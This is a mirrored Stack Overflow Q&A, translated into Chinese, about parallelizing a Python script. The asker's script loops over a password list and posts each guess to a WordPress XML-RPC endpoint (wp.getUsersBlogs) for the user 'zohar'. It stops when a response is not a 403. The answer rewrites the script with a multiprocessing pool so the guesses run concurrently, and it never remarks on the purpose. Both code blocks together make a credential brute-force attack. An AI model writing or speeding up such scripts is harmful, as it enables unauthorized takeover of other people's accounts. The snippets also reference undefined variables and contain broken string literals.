首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Python请求模块多线程

Python请求模块多线程
EN

Stack Overflow用户
提问于 2020-05-17 03:52:48
回答 1查看 46关注 0票数 0

有没有可能使用多处理接口来加速我的代码?我有一个包含密码的数据数组,我想运行一些请求。

代码语言:javascript
复制
import requests
data = ['test','test1','test2']
counter=0



for  x in data:
   counter+=1
   burp0_data = "<methodCall>\r\n<methodName>wp.getUsersBlogs</methodName>\r\n<params>\r\n<param> 
   <value>zohar</value></param>\r\n<param><value>"+x+"</value> 
   </param>\r\n</params>\r\n</methodCall>\r\n"

       s=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
       if not (s.text.__contains__("403")):
       print(s.text)
       print(x)
       exit()
EN

回答 1

Stack Overflow用户

发布于 2020-05-17 05:34:29

Python multiprocessing module就是你要找的东西。例如,它有一个并行的map函数,它将异步运行所有请求。下面是您的代码的大致外观:

代码语言:javascript
复制
import requests
from multiprocessing import Pool

def post(x):
    burp0_data = "<methodCall>\r\n<methodName>wp.getUsersBlogs</methodName>\r\n<params>\r\n<param> 
   <value>zohar</value></param>\r\n<param><value>"+x+"</value> 
   </param>\r\n</params>\r\n</methodCall>\r\n"

    s=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    if not (s.text.__contains__("403")):
        return s.text, x
    return None, None

if __name__ == '__main__':
    data = ['test','test1','test2']
    counter=0
    with Pool(processes=len(data)) as pool:
        results = pool.map(post, data, 1)
        for res in results:
            if res[0] is not None:
                print(res[0])
                print(res[1])
                exit()

有关详细信息,请参阅Python docs on multiprocessing

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/61842736

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档